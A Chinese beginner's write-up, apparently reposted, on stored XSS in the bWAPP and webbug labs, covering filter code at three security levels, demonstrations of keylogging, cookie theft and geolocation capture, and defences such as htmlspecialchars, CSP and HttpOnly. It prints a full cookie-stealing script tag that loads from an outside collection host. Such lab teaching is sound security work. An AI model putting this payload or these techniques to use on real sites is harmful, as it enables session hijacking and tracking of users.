新手指南:Bwapp之XSS –stored

Posted 信安之路

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了新手指南:Bwapp之XSS –stored相关的知识,希望对你有一定的参考价值。

XSS 全称:跨站脚本( Cross Site Scripting ),为了不和层叠样式表( Cascading Style Sheets )的缩写 CSS 混合,所以改名为 XSS;攻击者会向 web 页面( input 表单、 URL 、留言版等位置)插入恶意 javascript 代码,导致 管理员/用户 访问时触发,从而达到攻击者的目的。

XSS 的危害:窃取管理员/用户的 cookie 非法登录,导致网站被挂马、服务器沦陷被控制等等……

XSS 类型:反射型、存储型、 DOM 型

0x01 代码审计

1.安全等级-low(未对字符做任何处理)

服务器端核心代码,数据提取及表单显示数据部分代码:


新手指南:Bwapp之XSS –stored

php - low 级别显示代码为:

新手指南:Bwapp之XSS –stored

新手指南:Bwapp之XSS –stored

关键的语句:

Return mysqli_real_escape_string( data);

下列字符受影响:

\x00 ,\n ,\r ,\ ,' ," ,\x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

2.安全等级- medium

服务器端代码:

新手指南:Bwapp之XSS –stored

新手指南:Bwapp之XSS –stored

关键语句:

return addslashes($data);

stringaddslashes ( string $str )

本函数可在 PHP4 和 PHP5 下使用。

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\)与  NULL(NULL 字符)。

默认情况下,PHP 指令 magic_quotes_gpc 为  on ,它主要是对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。不要对已经被  magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc()进行检测。

一个使用 addslashes() 的例子是当你要往数据库中输入数据时。例如,将名字 O'reilly 插入到数据库中,这就需要对其进行转义。大多数据库使用 \(反斜杠)作为转义符:O\'reilly ,这样可以将数据放入数据库中,而不会插入额外的 \。当 PHP 指令 magic_quotes_sybase 被设置成 on 时,意味着插入 \' 时将使用 ' 进行转义。

3.安全等级:high

新手指南:Bwapp之XSS –stored

新手指南:Bwapp之XSS –stored

关键语句:

return htmlspecialchars($data, ENT_QUOTES,$encoding);

quotestyle 选项为 NT_QUOTES 过滤单引号

函数 htmlspecialchars 转换特殊字符成为 html 实体:

&(和号)成为 &amp

“ (双引号)成为 &quot

‘ (单引号)成为 &#39 

< (小于号)成为 &lt

> (大于号)成为 &gt

具体细节请看:

http://www.w3school.com.cn/php/func_string_htmlspecialchars.asp

0x02实战解析

1.low安全级别

让我们来留个言:

新手指南:Bwapp之XSS –stored

数据库中插入的数据:

新手指南:Bwapp之XSS –stored

点击一下safs:

新手指南:Bwapp之XSS –stored

成功跳转到百度:

新手指南:Bwapp之XSS –stored

2.medium 安全级别:

让我们再来留个言:

新手指南:Bwapp之XSS –stored

数据库中插入的数据:

新手指南:Bwapp之XSS –stored

刷新一下,看看效果图:

新手指南:Bwapp之XSS –stored

3.high 安全级别:

对字符输出过滤做的很好,看看效果:

新手指南:Bwapp之XSS –stored

4.下面来找个具体例子来练练手   xss之获取键盘记录:

数据接收的 getkeylog.php :

新手指南:Bwapp之XSS –stored

盗取数据的 victim.html  网页:

新手指南:Bwapp之XSS –stored

访问 victim.html:

新手指南:Bwapp之XSS –stored

生成了一个 data.txt 文件:

新手指南:Bwapp之XSS –stored

打开 data.txt:  

新手指南:Bwapp之XSS –stored

数据盗取成功。(^__^) 嘻嘻……

5.盗取 cookie:

开启虚拟机,开启 phpstudy, 进入 webbug 靶场:

新手指南:Bwapp之XSS –stored

留言一下:

"><sCRiPt sRC=http://xss.fbisb.com/6srZ></sCrIpT>

新手指南:Bwapp之XSS –stored

刷新一下;

接收到 cookie:(好像没有啥东西)。。。。。。。

新手指南:Bwapp之XSS –stored

6.Cookie  并不好玩,让我们来一下骚操作(可以精确定位):

获取对方的地理位置:

需要 index.phprecv.php ( index.php 发送给攻击者的, recv.php 作为服务端接收参数)

index.php:

新手指南:Bwapp之XSS –stored

Recv.php :

接受上个页面传过来的参数(经度坐标),接受上个页面传过来的参数(纬度坐标),创建一个 geo.txt 文件,把经度写入到 geo.txt 里,把纬度写入到 geo.txt 里

新手指南:Bwapp之XSS –stored

插入留言:

新手指南:Bwapp之XSS –stored

存入数据库:

新手指南:Bwapp之XSS –stored

点击 location 的效果图:

新手指南:Bwapp之XSS –stored

打开 geo.txt:

新手指南:Bwapp之XSS –stored

来看看定位结果:

新手指南:Bwapp之XSS –stored

0x03防御手段

1、PHP 直接输出 html 的,可以采用以下的方法进行过滤:

2、PHP 输出到 JS 代码中,或者开发 Json API 的,则需要前端在JS中进行过滤:

尽量使用 innerText(IE) 和 textContent(Firefox) ,也就是 jQuery 的 text() 来输出文本内容必须要用innerHTML等等函数,则需要做类似 php 的 htmlspecialchars 的过滤

3、其它的通用的补充性防御手段

在输出 html 时,加上 Content Security Policy 的 Http Header

(作用:可以防止页面被 XSS 攻击时,嵌入第三方的脚本文件等)

(缺陷:IE 或低版本的浏览器可能不支持)

在设置 Cookie 时,加上 HttpOnly 参数

(作用:可以防止页面被 XSS 攻击时,Cookie 信息被盗取,可兼容至IE6)

(缺陷:网站本身的 JS 代码也无法操作 Cookie ,而且作用有限,只能保证 Cookie 的安全)

在开发 API 时,检验请求的 Referer 参数

(作用:可以在一定程度上防止 CSRF 攻击)

(缺陷:IE或低版本的浏览器中,Referer 参数可以被伪造

0x04总结

XSS 的攻击已经相当成熟,丰富的攻击技巧更是令人眼花缭乱。相比之下,针对XSS的检测和防范方法显得捉襟见肘。幸运的是,尽管很难对 XSS 攻击做出有效检测,但是如果能依照一定的方法对XSS进行防范,XSS攻击便很难造成实质性的危害

(一)、Anti_XSS

Anti_XSS 是微软开发的(.NET平台下)用于防止 XSS 跨站脚本攻击的类库,它提供了大量的编码函数用于处理用户的输入,可实现输入白名单机制和输出转义。

(二)、HttpOnly Cookie

窃取 Cookie 是最常见的 XSS 攻击手法之一,即利用 XSS 攻击手法来打破同源策略。在同源策略规范下,Cookie 理应只能提供给同源下的网页读取使用,然而透过 XSS 漏洞,攻击者可以利用 JavaScript 中的document.cookie 方法窃取用户的 Cookie

(三)、WAF

除了使用以上方法地域跨站脚本攻击,还可以使用 WAF 抵御 XSS、

WAF 指 Web 应用防护系统或 Web 应用防火墙,是专门为保护给予 Web 应用程序而设计的,主要的功能是防范注入网页木马、 XSS 以及 CSRF 等常见漏洞的攻击,在企业环境中深受欢迎。

(四)、重点

如何利用 xss 漏洞实施攻击并不是身为安全工程师的重点,xss 防御才是我们努力要去做的。


以上是关于新手指南:Bwapp之XSS –stored的主要内容,如果未能解决你的问题,请参考以下文章

新手DVWA-XSS (Stored)

bWAPP----HTML Injection - Stored (Blog)

SQL注入之bWAPP之sqli_16.php

DVWA--XSS(Reflected)XSS(Stored)

SQL注入之bWAPP之sqli_3.php

SQL注入之bWAPP之manual_interv.php